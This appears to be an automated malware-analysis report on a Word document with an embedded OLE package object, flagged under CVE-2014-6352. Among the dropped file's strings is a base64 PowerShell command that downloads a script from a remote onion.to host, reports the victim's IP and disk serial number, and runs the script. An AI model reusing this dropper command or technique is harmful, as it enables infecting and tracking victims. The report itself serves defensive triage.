e159508582904759b2ab8607ed19e3ac

30 [Content_Types].xml
    579 ? _+p
    585 CUU!9t96
    741 k-NDb
    750 0|U"ub
    986 _rels/.rels
   1619 A$>"f3
   1684 .b*lI
   1790 word/_rels/document.xml.rels
   2142 9i4#i
   2413 word/document.xml
   2738 m-yNk
   3412 2pr4	J
   3470 word/media/image1.jpeg
   3767 %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
   3986 &'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
   4470 )l}qE
   4569 &K{x/,
   4889 <K{qm}e
   5175 WQIw"
   5255 !j:4~
   5521 	|E>-
   5550 _[Mm?
   5569 iY]B*
   5623 V78XJ
   6037 RKKsp
   6108 word/embeddings/oleObject1.bin
   6139 WKlTe
   6218 sog(D
   6824 N_y7P
   6951 AqiG{
   7607 |C~6<
   7700 word/theme/theme1.xml
   7773 \8  R
   7898 |#67_*-
   8306 3^q5'=q6
   8341 q=xK@;)
   8443 K{N6M
   8557 'w E1
   8769 vyA/g
   8811 &&CLgM
   8820 7a A0
   9076 Ot0O9
   9220 !'_oN
   9468 word/settings.xml
   9554 @a@D)+*
   9879 fiwA/
   9999 8I:?*
  10282 word/webSettings.xml
  10319 0JHR(
  10351 _im>Q42
  10427 8|$$s
  10445 ZyD+,S
  10519 docProps/core.xml
  10898 1%XY+
  11036 ]q@E&8
  11203 word/styles.xml
  11448 7!nE*
  11751 T-#W|
  12310 x#@dmpj
  12445 ,(nJP
  12483 x#@dy
  12491 x#@dm8(
  12714 bCy`C
  13049 word/fontTable.xml
  13194 .4Y&S
  13479 docProps/app.xml
  14031 y)t@`
  14065 ['$yy
  14088 u{'%e*,
  14172 [Content_Types].xmlPK
  14237 _rels/.relsPK
  14294 word/_rels/document.xml.relsPK
  14368 word/document.xmlPK
  14431 word/media/image1.jpegPK
  14499 word/embeddings/oleObject1.binPK
  14575 word/theme/theme1.xmlPK
  14642 word/settings.xmlPK
  14705 word/webSettings.xmlPK
  14771 docProps/core.xmlPK
  14834 word/styles.xmlPK
  14895 word/fontTable.xmlPK
  14959 docProps/app.xmlPK
original filename: e159508582904759b2ab8607ed19e3ac

size: 14997 bytes
submitted: 2017-02-06 14:42:09
md5: e9a83ebd37511165ecea3aaae97bf9fc
sha1: 7aab607a8f18be63353c363cd50240c0a2e3d239
sha256: 196cf9b2c0bcddc16ba4aaac478dca9ceb150038e00c5d591e02e8c43547f091
ssdeep: 384:rM/Uu9JAC3ZT9bisPvfSW+wRsC2uI8N7M5ZU:rM/d9JAEZTzKC2M7SU
content/type: Microsoft Word 2007+
analysis time: 0.00 s
result: suspicious
embedded file objects: yes

signature hits:

embedded.file oleObject1.bin 376f577da084e80c5268ca68ca7ccf3f
oleObject1.bin.1104: suspicious.office Packager ClassID used by CVE-2014-6352 C


Strings

     30 [Content_Types].xml
    579 ? _+p
    585 CUU!9t96
    741 k-NDb
    750 0|U"ub
    986 _rels/.rels
   1619 A$>"f3
   1684 .b*lI
   1790 word/_rels/document.xml.rels
   2142 9i4#i
   2413 word/document.xml
   2738 m-yNk
   3412 2pr4	J
   3470 word/media/image1.jpeg
   3767 %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
   3986 &'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
   4470 )l}qE
   4569 &K{x/,
   4889 <K{qm}e
   5175 WQIw"
   5255 !j:4~
   5521 	|E>-
   5550 _[Mm?
   5569 iY]B*
   5623 V78XJ
   6037 RKKsp
   6108 word/embeddings/oleObject1.bin
   6139 WKlTe
   6218 sog(D
   6824 N_y7P
   6951 AqiG{
   7607 |C~6<
   7700 word/theme/theme1.xml
   7773 \8  R
   7898 |#67_*-
   8306 3^q5'=q6
   8341 q=xK@;)
   8443 K{N6M
   8557 'w E1
   8769 vyA/g
   8811 &&CLgM
   8820 7a A0
   9076 Ot0O9
   9220 !'_oN
   9468 word/settings.xml
   9554 @a@D)+*
   9879 fiwA/
   9999 8I:?*
  10282 word/webSettings.xml
  10319 0JHR(
  10351 _im>Q42
  10427 8|$$s
  10445 ZyD+,S
  10519 docProps/core.xml
  10898 1%XY+
  11036 ]q@E&8
  11203 word/styles.xml
  11448 7!nE*
  11751 T-#W|
  12310 x#@dmpj
  12445 ,(nJP
  12483 x#@dy
  12491 x#@dm8(
  12714 bCy`C
  13049 word/fontTable.xml
  13194 .4Y&S
  13479 docProps/app.xml
  14031 y)t@`
  14065 ['$yy
  14088 u{'%e*,
  14172 [Content_Types].xmlPK
  14237 _rels/.relsPK
  14294 word/_rels/document.xml.relsPK
  14368 word/document.xmlPK
  14431 word/media/image1.jpegPK
  14499 word/embeddings/oleObject1.binPK
  14575 word/theme/theme1.xmlPK
  14642 word/settings.xmlPK
  14705 word/webSettings.xmlPK
  14771 docProps/core.xmlPK
  14834 word/styles.xmlPK
  14895 word/fontTable.xmlPK
  14959 docProps/app.xmlPK

Dropped Files

oleObject1.bin at zip
md5: 376f577da084e80c5268ca68ca7ccf3f
sha1: efc9e0861ac0e88a5b925e9ce71238729b8da0e4
sha256: d1f6a115b038f487a77e66f34c43ebe1bb188c50382dcb4d1c34838aa04b2107
view strings
   2154 Package
   2166 Package
   2310 Stsjbe.lnk
   2321 C:\DOCUME~1\azaza\C316~1\903F~1\out(10)\STSjbe.lnk
   2380 C:\DOCUME~1\azaza\C316~1\903F~1\out(10)\STSjbe.lnk
   3083 (WINDOWS
   3103 QFJ1e
   3143 (system32
   3206  (cmd.exe
   3301 C:\WINDOWS\system32\cmd.exe
   5220 cei4ix3oi4o3io4
   1024 Root Entry
   1282 CompObj
   1410 ObjInfo
   2562 Ole10Native
   3112 WINDOWS
   3174 system32
   3236 cmd.exe
   3332 /K powershell -EncodedCommand "JABGAD0AJABlAG4AdgA6AFQAZQBtAHAAKwAnAFwAUwBUAFMAagBiAGUALgBqAHMAJwA7ACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBiAG8AdQA1ADcAdAB2AHEANwBtAHYAeQA3AHgAcwBlAC4AbwBuAGkAbwBuAC4AdABvAC8AUwBUAFMAagBiAGUALgBqAHMAPwBpAHAAPQAnACsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AYQBwAGkALgBpAHAAaQBmAHkALgBvAHIAZwAvACcAKQArACcAJgBpAGQAPQAnACsAKAAoAHcAbQBpAGMAIABwAGEAdABoACAAdwBpAG4AMwAyAF8AbABvAGcAaQBjAGEAbABkAGkAcwBrACAAZwBlAHQAIAB2AG8AbAB1AG0AZQBzAGUAcgBpAGEAbABuAHUAbQBiAGUAcgApAFsAMgBdACkALgB0AHIAaQBtACgAKQAuAHQAbwBMAG8AdwBlAHIAKAApACwAJABGACkAOwAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAGMAbwBtACAAUwBoAGUAbABsAC4AQQBwAHAAbABpAGMAYQB0AGkAbwBuACkALgBTAGgAZQBsAGwARQB4AGUAYwB1AHQAZQAoACQARgApADsA"